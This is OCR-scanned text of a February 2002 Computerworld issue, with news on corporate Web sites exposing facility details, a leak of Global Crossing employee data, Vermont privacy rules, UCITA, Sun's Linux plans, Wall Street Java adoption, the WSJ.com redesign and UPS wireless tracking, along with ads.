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WEB  SITES  SEEN 
AS  TEI^ORIST  AIDS 


Audits  find  schematics,  maps,  data  and 
specs  that  could  be  used  to  plot  attacks 


EMPLOYEE  DATA 
EXPOSED  ON  WEB 


Former  IT  worker  at 
telecom  firm  posted  info 


BY  JAIKUMAR  VIJAYAN 

A  disgruntled  former  IT  em¬ 
ployee  at  telecommunications 
firm  Global  Crossing  Holdings 
Ltd.  has  been  posting  the 
names,  Social  Security  num¬ 
bers  and  birth  dates  of  compa¬ 
ny  employees  on  his  Web  site. 

The  postings  have  appeared 
periodically  over  the  past  five 
months.  They  include  data  on 
all  employees  on  Global  Cross¬ 
ing’s  payroll  as  of  Sept.  1,  ac¬ 
cording  to  an  internal  memo. 
The  company  currently  has 
about  8,000  employees. 


JUST  THE  FACTS 


Global  Crossing 
Security  Woes 

■  A  former  IT  worker  began  posting  per¬ 
sonal  information  about  employees  on  the 
Web  in  September. 

■  There  may  have  been  cases  of  identity 
theft  as  a  result,  the  company  admits. 

■  Global  Crossing  says  authorities  can’t 
find  the  worker  and  therefore  can't 
serve  an  injunction  to  stop  him. 

■  It  may  be  impossible  to  prove  he  stole 
the  information. 

■  Global  Crossing  didn’t  formally  inform 

affected  workers  until  December. 

An  attorney  for  Bermuda- 
based  Global  Crossing  said  the 
company  is  pursuing  both  civil 
and  criminal  action  against  the 
former  IT  worker.  Both  the  FBI 
and  the  police  department  in 
Employee  Data,  page  16 


BY  DAN  VERTON 

A  major  financial  institution 
this  week  will  receive  a  report 
outlining  the  extent  to 
which  its  Web  site  ex¬ 
poses  it  to  potential  at¬ 
tacks  by  Osama  bin 
Laden’s  Qaeda  organi¬ 
zation  and  other  terrorists. 

The  audit,  produced  by  se¬ 
curity  consulting  firm  Stroz 
Associates  LLC,  is  one  of  the 


first  of  its  kind  in  the  private 
sector.  It  marks  a  growing 
trend  by  companies  in  the  af¬ 
termath  of  the  Sept.  II 
terrorist  attacks  to  as¬ 
sess  whether  content 
on  their  Web  sites  in¬ 
creases  their  risk  of 
being  targeted  by  terrorist  or¬ 
ganizations. 

The  amount  of  sensitive  data 
uncovered  by  Stroz  Associates 


at  various  corporate  Web  sites 
is  startling,  said  Eric  Friedberg, 
managing  director  at  the  New 
York-based  firm  and  a  former 
computer  crime  coordinator  at 
the  U.S.  Department  of  Justice. 

“Many  Web  sites  constitute 
a  gold  mine  for  potential  at¬ 
tackers,”  said  Friedberg.  Audits 
have  found  descriptions  of 
physical  locations  of  backup 
facilities,  the  number  of  people 
working  at  specific  facilities, 
detailed  information  about 
wired  and  wireless  networks, 
and  specifications  on  ventila¬ 
tion,  air  conditioning  and  ele¬ 
vator  systems.  Other  sites  give 
graphical  representations  of 
floor  plans,  cabling  connec¬ 
tions  and  ventilation  duct¬ 
work,  Friedberg  said. 

Philadelphia-based  Ameri- 
Web  Sites,  page  57 


Surviving  the  Scandal 


A  CIO  at  an  IT  services  firm  found  him¬ 
self  implicated  in  a  $15  million  accounting 
fraud  after  he  signed  a  letter  without  read¬ 
ing  it.  Now  he  talks  about  his  hard-learned 
lessons,  such  as  the  need  to  keep  software 
security  rights  out  of  the  hands  of  officers 
responsible  for  accounting  functions. 

Story  begins  on  page  24. 


VERMONT  OPT-IN 
RULES  SPUR  SUIT 


State  goes  beyond  feds 
in  restricting  use  of  data 


BY  PATRICK  THIBODEAU 

WASHINGTON 

Beginning  this  week,  financial 
services  companies  with  cus¬ 
tomers  in  Vermont  are  facing 
strict  limits  on  what  they  can 
do  with  the  personal  data  of 
state  residents.  And  the  insur¬ 
ance  industry  has  retaliated 
with  a  lawsuit  and  threats  of 
price  increases. 

Vermont’s  rules  set  an  “opt¬ 
in’’  standard  that  requires  affir¬ 
mative  customer  consent  for 
sharing  personal  data  in  cer- 
Vermont,  page  16 
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WARNING 


THIS  FACILITY  IS 

SUBJECT  TO 

SUDDEN  SHIFTS 

IN  SCALE. 


1 


When  you  think  scalability,  it’s  time  to  think  software. 


Today’s  Web-driven  world  demands  a  faster  way  to  scale  up 
and  out.  But  instead  of  thinking  hardware,  it’s  time  to  think  smarter 
software,  as  in  the  modular  and  scalable  Microsoft®  server  platform. 


THINK  UPTIME  “Microsoft  provides  scalable  and  reliable 
products  at  an  unbeatable  price  with  the  ability  to  scale  out, 
not  just  up.  As  a  result  we  are  able  to  add  new  servers  without 
costly  downtime.”  —  Don  Heckman,  VP,  Engineering  Program 
Management,  Qwest 


The  Microsoft  server  platform  gives  you  the  choice  of  thinking 
bigger,  smaller,  up,  or  out.  That  way  you  can  deploy  Microsoft  SQL 
Server™  2000  on  Windows®  2000  Datacenter  Server  for  heavy- 
duty  ERP  and  transaction  processing,  and  scale  up  to  support 
terabytes  of  data  and  millions  of  transactions.  Or  scale  out  with 
Microsoft  Application  Center  2000  by  adding  clusters  of  Windows 


•  Soufi.v  Vaittftction  Processir^  Performance  Courwil,  October  2001.  ©  2002  Mtcrosoft  Corporation.  All  rights  reserved.  Microsoft  and  Windows  are  either  registered  trademarks  or  trademarks  of  Microsoft  Corporation  in  the  United  States  and/or  other  countries.  The  names  of  actual  companies  and  products  mentioned  herein  mayM 


2000-based  servers  running  distributed  applications.  And  it  has 
the  lowest  price-to-performance  ratio  of  any  competitive  platform.* 
So  no  matter  how  quickly  things  change,  your  business  is 
always  perfectly  scaled  to  handle  it.  For  more  ways  to  scale 
up— and  out— with  software,  visit  us  at  microsoft.com/servers 
/scalability  Software  for  the  Agile  Business. 
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trademartis  of  their  respecttve  owners. 


ca  smart  Program  Guideline: 


The  ca  smart  logo  is  only  to  be  used  by  CA 
partners  for  innovative  eBusiness  products 
or  solutions  on  which  CA  technology  resides, 
is  a  component  of,  or  is  otherwise  integrated. 
Which  would  not  include  sporting  goods. 

For  more  information,  visit  ca.com/casmart. 


Computer  Associates™ 


C2001  Computer  Associates  International,  Inc.  (CA).  All  trademarks,  trade  names,  service  marks,  and  logos  referenced  herein  belong  to  (heir  respective  companies. 


LAYOFF  LESSONS 
LEARNED 

With  layoffs  spreading  like 
wildfire  through  U.S.  compa¬ 
nies,  IT  workers  who  sud¬ 
denly  find  themselves  un¬ 
employed  can  pick  up  some 
valuable  lessons  from  layoff 
survivors  such  as  Farren 
lonita  (left).  PAGE  28 


PRIVATE  NETWORK  PROVIDED 

More  and  more  companies  are  turning  to 
service  providers  for  the  virtual  private 
networks  they  need  for  employees  and 
business  partners.  PAGE  36 
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6  An  American  Bar  Association 

working  group  says  UCITA  is  too 
confusing  and  should  be  redrafted. 

6  Sun  plans  to  increase  its  Linux 
product  offerings  in  response  to 
user  demand  for  that  OS. 


7  Some  financial  services  firms 

are  rolling  out  Java-based  tools  to 
tie  together  disparate  systems. 

8  UPS  adds  several  Asian  lan¬ 
guages  to  its  wireless  package¬ 
tracking  service  for  mobile  users. 

10  Systems  that  support  collabo¬ 
rative  planning,  forecasting  and  re¬ 
plenishment  activities  continue  to 
face  slow  adoption  by  companies. 


12  GM  encountered  big  configu¬ 
ration  troubles  when  it  installed  an 
ERP  and  supply  chain  system. 


For  breaking  news, 
updated  twice  daily,  visit 
Computerworld.com: 


www.computerworid.coTn/q?q4000 


23  Joe  Auer  says  it’s  a  good  idea 
for  IT  purchasing  managers  to 
create  a  user  form  contract  to  spell 
out  their  own  terms  and  conditions 
when  buying  high-tech  gear  and 
services  from  vendors. 

26  Blade  servers  can  deliver  a  lot 
of  bang  for  the  buck  —  they  cost 
less  than  traditional  servers  and 
consume  less  power  and  space.  But 
ROI  can  be  elusive  if  the  blades 
aren’t  well-integrated. 

30  CRM  initiatives  often  fail  or 

damage  customer  relationships  be¬ 
cause  executives  “mistake  strategy 
for  software,”  writes  Bain  &  Co. 
director  Darrell  K.  Rigby  in  this 
month’s  Harvard  Business  Review. 

32  Workstyles:  Audio  systems 
maker  Bose  is  an  innovative  place 
to  work,  whether  you’re  in  IT  or 
some  other  unit  at  the  company, 
notes  Steve  Devine,  manager  of 
business  administration  for  cor¬ 
porate  information  systems. 


35  Nicholas  Petreley  says  there  is 

one  very  big  reason  why  it  would 
be  a  bad  idea  for  AOL  Time  Warn¬ 
er  to  purchase  Red  Hat. 

38  Future  Watch:  During  the  next 
decade,  operating  systems  could 
start  to  collaborate  with  applica¬ 
tions,  making  life  easier  for  pro¬ 
grammers  and  users. 

40  QuickStudy:  Lightweight  Di¬ 
rectory  Access  Protocol  works 
over  TCP/IP  and  organizes  direc¬ 
tories  of  people,  devices  and  appli¬ 
cations.  Find  out  more  in  this 
week’s  tutorial. 

42  Security  Journal:  As  Mathias 

Thurman  starts  a  new  job,  there’s 
no  time  to  settle  in  when  a  Nimda 
attack  affects  hundreds  of  internal 
servers  at  his  organization. 

44  Emerging  Companies:  vigi¬ 
lance’s  process-control  software 
spans  disparate  systems  to  monitor 
events  in  supply  chain  systems. 


20  Maryfran  Johnson  delivers  a 
message  to  IT  vendor  start-ups: 
Your  potential  customers  are  will¬ 
ing  to  take  the  risks  of  buying  your 
products,  but  only  if  those  prod¬ 
ucts  are  truly  innovative. 

20  Pimm  Fox,  on  the  other  hand, 
says  that  venture  capital  is  still 
flowing,  but  he  wonders  if  IT  orga¬ 
nizations  have  the  money  to  back 
up  the  VC  firms’  investments. 

21  David  Moschella  writes  that  a 
respected  IT  vendor  lobby  group 
sent  the  wrong  message  by  urging 
the  government  to  develop  a  plan 
for  the  nation’s  infrastructure. 

58  Frank  Hayos  says  that  if  your 
company  wants  to  outsource  IT, 
it’s  best  to  update  your  resume. 
Even  if  you  survive  the  outsourc¬ 
ing,  your  company  might  not. 
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NEWNEWSLERERS 

Sign  up  for  our  new,  free  e-mail 
newsletters  on  return  on  invest¬ 
ment,  disaster  recovery  and  using 
IT  in  the  financial  industry. 
www.compiJterwoi1d.coin/q?a1430 


CUTBACKS  DFJAVU 

One  IT  professional  recalls  the 
lessons  he  learned  in  the  last  tight 
job  market  a  decade  ago. 
www.computerworld.Gom/q?26593 


PRIVACY  RULES 

What  do  you  think  about  Ver¬ 
mont’s  new  opt-in  privacy  law? 
Post  your  thoughts  and  read 
what  others  have  to  say  in  our 
online  forum. 

www.computerworld.coin/q?a1560 


TURN  THE  CRANK 

The  Gadget  Guys  debut  this 
month  with  a  review  of  FreeCharge, 
a  battery  that  is  the  product  of  a 
joint  effort  between  Motorola  Inc. 
and  Freeplay  Energy  Group, 
www.computerworld.com/wireless 
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NEWS 

Law  Group  Slams 
UCriA’s  Complexity 


But  ABA  panel  sees  need  for  licensing  law 


BY  PATRICK  THIBODEAU 

WASHINGTON 

HE  AMERICAN  Bar 
Association  called 
the  Uniform  Com¬ 
puter  Information 
Transactions  Act 
(UCITA)  so  difficult  to  com¬ 
prehend  that  even  lawyers 
can’t  understand  it,  and  so 
vague  that  the  proposed  law  is 
doomed  to  face  constant  “liti¬ 
gation  over  what  its  various 
‘rules’  really  mean.” 

But  an  ABA  working  group 
report  issued  last  week  agreed 
with  UCITA’s  proponents  in 
one  key  respect:  It  acknowl¬ 


edged  that  there  is  a  need  for  a 
uniform  law  governing  soft¬ 
ware  licensing  transactions. 

Nonetheless,  the  nine-mem¬ 
ber  ABA  group  clearly  ques¬ 
tioned  whether  UCITA  should 
be  that  legislation.  Opponents 
said  the  report  would  aid  their 
efforts  to  block  state-by-state 
adoption  of  the  proposed  law. 

“I  think  it’s  going  to  make  it 
much  more  difficult  for  UCT 
TA  proponents  to  get  it  passed 
in  further  states  this  year,”  said 
Gordon  Pence,  intellectual 
property  counsel  at  Caterpillar 
Inc.  in  Peoria,  Ill. 

Even  before  the  ABA  report 


was  released,  UCITA  adoption 
had  stalled.  Maryland  and  Vir¬ 
ginia,  the  only  states  to  ap¬ 
prove  the  law,  did  so  in  2000. 
Since  then,  the  opposition  has 
succeeded  in  winning  passage 
of  anti-UCITA  “bomb  shelter” 
measures  in  Iowa,  North  Car¬ 
olina  and  West  Virginia.  The 
bomb-shelter  statutes  make  it 
difficult  for  states  with  UCITA 
to  apply  the  law  to  those  three 
states’  residents. 

But  UCITA  isn’t  dead,  espe¬ 
cially  in  Washington  state, 
home  of  major  corporate 
backer  Microsoft  Corp. 

Some  of  the  ABA’s  sugges¬ 
tions  “are  quite  worthy  of  con¬ 
sideration,”  said  Carlyle  “Con¬ 
nie”  Ring  Jr.,  chairman  of  the 
UCITA  drafting  committee  of 


Sun  Widens  Hs  Embrace  of 
Linux  in  New  Product  Plans 


Microsoft  Warns  of 
Telnet  Hole  in  Win  2k 

Microsoft  Corp.  warned  Windows 
2000  users  about  a  new  security 
vulnerability  in  the  operating  sys¬ 
tem’s  Telnet  remote-access  pro¬ 
gram.  The  buffer  overflow  hole 
could  be  used  to  launch  denial-of- 
service  attacks  against  unprotected 
systems  or  to  run  malicious  code  on 
them,  Microsoft  said.  The  company 
assigned  a  “moderate”  severity  rat¬ 
ing  to  the  Telnet  vulnerability. 

Hacker  Exposes  Data 
From  Comcast  Site 

A  hacker  discovered  a  list  of  poten¬ 
tial  corporate  customers  on  the  Web 
site  of  Comcast  Corp.’s  Business 
Communications  unit  and  exposed 
data  from  the  list  in  an  online  securi¬ 
ty  forum,  forcing  the  Philadelphia- 
based  company  to  shut  down  the 
site  late  last  week  for  an  internal  se¬ 
curity  review.  No  financial  records 
or  other  sensitive  data  was  exposed, 
said  a  spokeswoman  for  Comcast 
Business  Communications. 


CA  Drops  Plan  to  Sell 
tHB  Worth  of  Bonds 

Computer  Associates  International 
Inc.  canceled  plans  for  a  $1  billion 
bond  offering  it  was  going  to  use  to 
refinance  some  of  its  existing  debt. 
The  decision  came  after  New  York- 
based  Moody's  Corp.  said  it  would 
review  and  possibly  downgrade  the 
Islandia,  N.Y-based  software  ven¬ 
dor's  credit  rating  because  of  con¬ 
cerns  about  CA's  sales. 


Short  Takes 

Mountain  View,  Calif.-based 
VERISIGN  INC.  completed  a  S350 
million  acquisition  of  H.O.  SYSTEMS 
INC.,  a  Savannah,  Ga.-based  devel¬ 
oper  of  billing  systems  for  wireless 

carriers _ Stamford,  Conn.-based 

IT  consulting  firm  META  GROUP 
INC  warned  of  a  fourth-quarter  loss 
of  up  to  $12  million  and  laid  off  43 
of  its  614  workers. 


User  interest  in 
OS  drives  strategy 

BY  TODD  R.  WEISS 

Responding  to  what  it  says  is 
strong  user  demand.  Sun  Mi¬ 
crosystems  Inc.  is  making  Lin¬ 
ux  a  significantly  more  visible 
part  of  its  product  lineup. 

Sun  last  week  said  it  will  in¬ 
troduce  a  low-end  line  of  Intel- 
based  servers  running  Linux 
by  midyear  and  offer  more 
components  of  its  Solaris  op¬ 
erating  system  to  the  open- 
source  community. 

Ed  Zander,  president  and 
chief  operating  officer  at  Sun, 
said  the  company  will  also 
bring  its  Sun  Open  Net  Envi¬ 
ronment  infrastructure  soft¬ 
ware  suite  to  Linux. 

Sun  has  sold  Linux  on  a  lim¬ 
ited  basis  so  far,  including  in  its 
small-footprint  Cobalt  appli¬ 
ance  servers.  “That  customer 


base  . . .  has  asked  for  more,” 
Zander  said.  “We  kind  of  hide 
Linux  inside  the  box  today.” 

He  added  that  Sun’s  strategy 
also  includes  expanding  So¬ 
laris’  ability  to  run  Linux  ap¬ 
plications  on  the  company’s 
UltraSPARC-based  Sun  Fire 
servers  (see  chart). 

No  pricing  information  or 
product  details  are  available 
yet.  Sun  said.  The  company 
also  didn’t  disclose  whether  it 
will  use  an  existing  Linux  dis¬ 
tribution  from  another  vendor 
or  develop  its  own. 

Dan  Kusnetzky,  an  analyst  at 
IDC  in  Framingham,  Mass., 
called  Sun’s  move  ironic.  By 
further  embracing  Linux,  the 
company  is  “doing  something 
which  they’ve  chastised  IBM 
about  for  a  long  time”  —  sup¬ 
porting  multiple  operating  sys¬ 
tems,  he  said. 

“They  don’t  really  explain 
why  it’s  OK  to  castigate  IBM 
for  having  different  [operat¬ 


ing  system]  product  lines  but 
it’s  OK  for  them  now,”  Kusnet¬ 
zky  said. 

Bill  Claybrook,  an  analyst  at 
Aberdeen  Group  Inc.  in  Bos¬ 
ton,  said  the  announcements 
were  an  acknowledgement  that 
if  Sun  wants  “to  have  a  serious 
Linux  strategy,  they’re  not  go¬ 
ing  to  get  it  by  [supporting] 
Linux  on  SPARC.  That’s  not 
going  to  fly.” 

Many  users  want  Linux  on 
Intel-based  hardware  because 
it’s  often  cheaper  and  more 
flexible  than  other  systems, 
Claybrook  noted.  I 


Spotlight  on  Linux 

Sun’s  expanded  Linux  strate¬ 
gy  includes  these  products: 

■  An  eintiy-ievel  server  line  that 
will  run  Linux. 


■An  expansion  of  Its  Linux- 
based  Cobalt  server  appliances. 


■  New  Linux  commands,  utilities 
and  interfaces  in  Solaris  9. 


■  Linux  versions  of  software 
such  as  iPlanet  and  Forte. 
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The  American  Bar  Associa¬ 
tion  committee  that  exam¬ 
ined  the  proposed  law  cited 
the  following  issues: 

Scope:  One  unresolved  question 
about  UCITA  is  whether  it  applies  to 
software  integrated  into  other  goods. 

Remote  access:  UCiTA's 

drafters  want  to  prohibit  it.  but  the 
ABA  says  there  is  still  a  loophole. 

Terms:  End  users  should  see  terms 
before  payment. 


the  National  Conference  of 
Commissioners  of  Uniform 
State  Laws  (NCCUSL),  a  Chi¬ 
cago-based  group  that  devel¬ 
ops  commercial  law.  But  he 
took  issue  with  the  ABA’s  rec¬ 
ommendation  that  the  act  be 
redrafted  and  said  that  UCITA 
is  largely  based  on  existing  lan¬ 
guage  in  the  Uniform  Com¬ 
mercial  Code. 

Opponents  have  charged 
that  the  act  would  give  vendors 
questionable  rights  in  commer¬ 
cial  transactions.  In  response, 
the  NCCUSL  drafting  commit¬ 
tee  has  proposed  changes  to 
UCITA,  including  an  outright 
prohibition  on  “self-help”  — 
the  ability  of  vendors  to  re¬ 
motely  turn  off  systems  in  a 
contract  dispute. 

But  the  changes  didn’t  go  far 
enough,  opponents  say.  And  the 
ABA  report  appears  to  agree 
with  that  criticism,  saying  that 
the  act  would  permit  a  vendor 
to  take  “further  steps”  in  a  dis¬ 
pute  —  wording  that  “implies 
an  authorization  for  the  licen¬ 
sor  to  destroy  information  be¬ 
longing  to  the  licensee.” 

Donald  Cohn,  a  member  of 
the  ABA  committee  who  has 
been  involved  in  the  UCITA 
drafting  process  and  works  as 
corporate  counsel  for  e-com¬ 
merce  at  Du  Pont  Co.  in  Wilm¬ 
ington,  Del.,  dissented  from 
the  majority  in  a  separate 
opinion. 

Cohn  challenged  the  ABA 
group’s  assertion  that  UCITA  is 
too  complex.  “In  my  many 
years  of  practice,  I  do  not  be¬ 
lieve  that  I  have  ever  read  a  law 
...  that  was  not  complicated, 
unclear  and  difficult  to  under¬ 
stand  and  apply,”  he  wrote.  I 
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Java  Tapid  as  Platfomi  for  Uyi  St.  Apps 


Financial  services 
firms  use  language 
to  link  their  systems 


BY  LUCAS  MEARIAN 

Wall  Street  heavyweights  such 
as  The  Goldman  Sachs  Group 
Inc.  and  Salomon  Smith  Bar¬ 
ney  Holdings  Inc.  are  begin¬ 
ning  to  roll  out  applications 
based  on  Sun’s  Java  program¬ 
ming  language  in  order  to  tie 
together  disparate  systems 
that  can  be  shared  online  with 
their  corporate  clients. 

Nigel  Woodward,  Sun  Mi¬ 
crosystems  Inc.’s  worldwide 
manager  of  capital  markets 
and  securities,  said  that  during 
the  next  year,  Java-based  sys¬ 
tems  should  aid  in  Wall  Street’s 
efforts  to  adopt  straight- 
through  processing  of  trades 
by  creating  a  standard  archi¬ 
tecture  that  applications  from 
different  brokerages  can  use  to 
communicate. 

Woodward  was  one  of  sever¬ 
al  Sun  executives  pushing  the 
Web  services  front  at  the  Wall 
Street  on  Java  Technology  con¬ 
ference  in  New  York  last  week. 

Salomon  is  using  Java  2  En¬ 
terprise  Edition  (J2EE)  as  the 
framework  to  integrate  its  fi¬ 
nancial  applications.  The  bro¬ 
kerage  currently  has  a  large,  in- 
house  Java  development  group 
working  to  replace  its  yield 
book,  currently  an  X  Window 
System  application,  over  the 
next  year. 

Salomon’s  development  ef¬ 
forts  are  focused  on  creating 
XML-based  application  pro¬ 
gramming  interfaces,  accord¬ 
ing  to  Graham  Philip,  a  direc¬ 
tor  of  fixed-income  research  at 
Salomon,  a  New  York-based 
division  of  Citigroup  Inc. 

“We  have  Java-based  appli¬ 
cations  now,”  Philip  said,  refer¬ 
ring  to  software  such  as  a  secu¬ 
rities  tool  that  calculates  fixed 
income  for  single  bonds.  “But  a 
year  from  now,  we’re  replacing 
the  entire  front  end  with  a 
Java-based  platform.” 

Like  many  financial  services 
companies,  Salomon  acts  as  an 


application  service  provider  to 
its  clients.  Because  of  the  high- 
end  analytics  involved  in  host¬ 
ing  both  internal  and  external 
clients,  the  company  needs  a 
common  technology,  like  the 
one  J2EE  provides,  that  can  tie 
together  all  of  its  applications 
and  be  easily  modified  in  the 
future,  Philip  said. 

Developing  Trend 

Sun  is  touting  its  Open  Net 
Environment  (ONE)  software 
as  the  answer  to  building  Web 
services  based  on  J2EE  soft¬ 
ware.  Woodward  said  Sun  ONE 
will  provide  an  end-to-end 
framework  for  in-house  ser¬ 
vices  such  as  stock  sales  track¬ 
ing,  middle  office  application 
management,  risk  management 
and  life-cycle  trade  tracking. 


BY  JULIA  KING 

While  other  have  companies 
cut  back  sharply  on  their  Web 
site  spending.  The  Wall  Street 
Journal  has  just  completed  a 
two-year,  $28  million  overhaul 
of  its  WSJ.com  site. 

The  revamped  WSJ.com  re¬ 
lies  heavily  on  personalization 
technology  to  boost  advertis¬ 
ing  revenue  and  expand  paid 
reader  services. 

A  key  goal  of  the  rebuilt  site, 
which  was  launched  two 
weeks  ago,  is  to  attract  higher- 
value,  repeat  customers  by  let¬ 
ting  them  more  easily  cus¬ 
tomize  their  home  pages  with 
columns,  stock  quotes  and  oth¬ 
er  regular  WSJ.com  features. 

Studies  by  Web-based  mar¬ 
ket  researcher  Fulcrum  Ana¬ 
lytics  (formerly  Cyber  Dia¬ 
logue  Inc.)  in  New  York  and 
others  show  that  customers 
are  more  apt  to  frequently  vis¬ 
it  Web  sites  they  can  cus¬ 
tomize.  Users  who  personal¬ 
ize  such  sites  also  more  fre- 


Salomon  isn’t  the  only  big 
brokerage  that’s  banking  on 
Java  technology  for  a  more  ef¬ 
ficient  infrastructure. 

“Approximately  80%  of  all 
new  [global  services]  applica¬ 
tions  development  is  in  Java,” 
said  Carl  Reed,  vice  president 
and  global  head  of  cross-divi¬ 
sional  applications  infrastruc¬ 
ture  at  Goldman  Sachs. 


quently  subscribe  to  paid 
sites,  use  online  bill  payment 
services  and  promote  prod¬ 
ucts  via  e-mail  to  their  friends, 
all  of  which  make  them  an  ad¬ 
vertiser’s  dream. 

“If  every  person 
looks  at  one  more 
page  —  even  in  a  bad 
advertising  climate 
—  the  number  of 
pages  you  deliver 
grows  pretty  quickly. 

And  since  you  charge 
advertisers  by  ad  im¬ 
pression,  you  in¬ 
crease  your  revenue 
pretty  quickly,”  said 
Neil  Budde,  WSJ.- 
com’s  publisher.  “You 
don’t  have  to  move  the  gauge 
too  far  or  change  the  percent¬ 
ages  too  much  before  getting 
a  substantial  return  on  invest¬ 
ment.” 

Budde  wouldn’t  disclose 
WSJ.com’s  target  ROI  or  pay¬ 
back  period  for  the  Web  proj¬ 
ect.  Currently,  the  site  has 


The  New  York-based  bro¬ 
kerage  is  in  the  process  of 
rolling  out  a  Java  developers’ 
resource  portal,  or  library, 
which,  when  complete,  will  al¬ 
low  2,500  in-house  developers 
to  reuse  applets  of  code,  cut¬ 
ting  down  on  the  amount  of 
time  that  would  otherwise  be 
spent  reproducing  past  work. 

The  portal  will  tie  together 
“all  the  development-oriented 
assets,”  said  Reed.  He  declined 
to  outline  the  specific  costs  of 
the  multimillion-dollar  project 


626,000  subscribers:  the  cost 
is  $59  per  year  for  the  service. 

Rebuilding  WSJ.com  entailed 
switching  out  a  patchwork  of 
homegrown  systems  that  had 
been  cobbled  together  in  the 
past  six  years.  They  were  re¬ 
placed  by  Austin,  Texas-based 
Vignette  Corp.’s  content  man¬ 
agement  and  publishing  soft¬ 
ware,  which  is  powered  by 
IBM  Web  servers 
running  Big  Blue’s 
proprietary  version 
of  Apache,  said  Ken 
Ficara,  director  of 
product  operations 
and  a  project  manag¬ 
er  at  WSJ.com. 

Simplicity  was  key 
to  designing  the  new 
Web  site’s  personal¬ 
ization  capabilities, 
Ficara  said. 

“In  focus  groups, 
we  found  out  that  the  easier  we 
made  things,  the  more  apt  peo¬ 
ple  were  to  use  them,”  he  said. 
“But  it’s  the  Journal,  so  we  had 
felt  like  we  had  to  do  things  as 
sophisticated  as  possible.” 

Now  subscribers  personal¬ 
ize  content  with  the  click  of  a 
single  button  on  the  WSJ.com 


but  said  the  expected  return  on 
investment  is  in  the  reduction 
of  wasted  development  man¬ 
hours. 

Reed  said  the  portal  is  a  pro¬ 
ductivity  tool  in  that  it  lets 
developers  use  Java  building 
blocks  from  earlier  projects  to 
create  new  applications,  so  the 
wheel  doesn’t  have  to  be  rein¬ 
vented  each  time  a  new  appli¬ 
cation  is  being  constructed. 

Among  other  services,  the 
portal  offers  access  to  databases 
for  enterprise  standards  and 
documentation,  source  code, 
specifications,  best  practices, 
reviews  and  white  papers. 

“It  takes  people,  processes 
and  talks  to  achieve  this,”  Reed 
said.  “I  can’t  tell  you  we  know 
everything  about  how  to  make 
reuse  succeed  at  Goldman 
Sachs.  What  I  can  tell  you  is 
we’re  aware  of  that,  and  we’re 
going  to  be  learning  as  we  go 
along.”  I 


home  page.  Before,  they  had  to 
go  to  a  separate  setup  center, 
where  Boolean  search  engines 
and  other  complex  tools  could 
be  found. 

That  simplicity  is  the  value 
customers  receive  in  ex¬ 
change  for  providing  personal 
data  to  WSJ.com,  said  Kevin 
Mabley,  an  analyst  at  Fulcrum 
Analytics. 

“From  data  mining  and  mod¬ 
eling  work,  we  know  that  a 
customer  who  personalizes  a 
Web  site  is  a  higher-value  cus¬ 
tomer,  but  it  works  only  as  long 
as  there  is  a  value  exchange. 
At  WSJ.com,  you  type  in  stock 
[symbols],  and  you  get  the 
stock  quotes  you’re  interested 
in,”  Mabley  said. 

“We  see  a  lot  of  companies 
get  that  wrong,”  he  added. 
“They  ask  for  a  lot  of  wrong  in¬ 
formation,  like  household  sta¬ 
tistics  that  are  not  related  to 
the  user’s  experience.  It  be¬ 
comes  a  Trojan  horse  for  other 
marketing  methods.” 

Budde  said  that  because  the 
Vignette  publishing  system  is 
database-driven,  WSJ.com  can 
reuse  and  repackage  content  in 
the  database  to  quickly  and 
cheaply  spin  off  additional 
revenue-generating  products 
and  services,  such  as  custom¬ 
ized  newsletters.  I 


Functionality  in  the  Bank 

Goldman  Sachs’ Java  resource  portal  offers  its  programmers  a 
Web-enabled  database  with  access  to  the  following: 

■  Enterprise  standards  ■  Best  practices 

■  Documentation  ■  Reviews 

■  Whitepapers 

■  Development  discussion  forum 


■  Source  code 

■  Specifications 


1/l^.am  Completes  Web  Site  Overhaul 

Newspaper  is  banking  on  personalization 
technology  to  increase  online  revenue 


BUDDE:  New  soft¬ 
ware  will  let  WSJ.- 
com  reuse  content 
in  its  database. 


8 


COMPUTERWORLD  February  11.  2002 


UPS  Takes  Wireless 
Application  to  Asia 


Adds  support  for  multiple  languages  to 

mobile  phone  package-tracking  service 


BY  BOB  BREWIN 

NIXED  Parcel  Ser¬ 
vice  Inc.  now  of¬ 
fers  a  wireless 
package-tracking 
service  with  Ko¬ 
rean,  Chinese  and  Japanese 
character  sets  in  key  Asian 
markets,  a  move  the  company 
said  should  not  only  boost  cus¬ 
tomer  satisfaction  but  also  give 
considerable  cost  savings. 

Starting  today,  UPS  will  pro¬ 
vide  wireless  package  tracking 
to  mobile  phone  users  in  Aus¬ 
tralia,  China,  Hong  Kong,  Japan, 
Singapore,  South  Korea  and 
Taiwan.  Users  will  be  able 
to  track  packages  in  their  na¬ 
tive  languages,  including  tradi¬ 


tional  Chinese,  simplified  Chi¬ 
nese,  Japanese  and  English, 
from  Internet-enabled  phones. 

DHL  Worldwide  Express 
Inc.  in  San  Francisco  has  of¬ 
fered  a  wireless  international 
package-tracking  service  in  21 
languages  since  July  2000.  The 
company  doesn’t  offer  such  a 
service  in  Chinese,  but  it  does 
support  mobile  package  track¬ 
ing  with  the  kanji  character  set 
in  Japan  and  a  romanized,  pho¬ 
netic  version  of  Korean.  UPS 
supports  both  kanji  and  Hangul, 
the  Korean  character  set. 

Mike  Taylor,  vice  president 
for  internationaT  e-commerce 
at  Atlanta-based  UPS,  said  the 
company’s  Asian  customers 


pushed  for  a  wireless  package¬ 
tracking  service  tailored  to 
their  local  languages.  “Our 
customers  want  to  be  able  to 
do  business  in  their  own  lan¬ 
guage,”  he  said. 

Satisfying  this  customer  de¬ 
mand  has  a  real  bottom-line 
payoff  for  UPS,  Taylor  added. 
It  costs  the  company  about  $2 
to  handle  a  package-tracking 
request  via  phone  and  “only  10 
cents  if  [customers]  go  to  the 
Web  site,”  he  said. 

UPS  didn’t  disclose  the  cost 
of  establishing  the  new  multi¬ 
lingual  package-tracking  ser¬ 
vice  or  its  expected  return  on 
investment.  But  Taylor  did  say 
that  piggybacking  on  work  al¬ 
ready  done  on  international- 
language  Web  sites  helped 
ease  the  development. 

Growing  usage  of  interna¬ 
tional  wired  Web  sites  during 


“  I- 


A 


the  past  year  proves  that  cus¬ 
tomers  want  to  do  business  in 
their  own  languages,  Taylor 
said,  adding  that  Asian  traffic 
on  UPS’s  site  has  increased 
224%  during  the  past  18  months. 

Taylor  predicted  that  the 
new  service  will  cut  costs 
and  increase  business  as 
customers  spend  more 
time  on  the  UPS  Web  site. 

Mark  Indermaur,  vice  f  ' 
president  of  sales  engi¬ 
neering  at  Atlanta-based 
Air2Web  Inc.,  said  wire¬ 
less  tracking  should  in¬ 
crease  Web  usage  even 
more,  because  in  Asia, 
more  people  access  the 
Internet  from  phones 
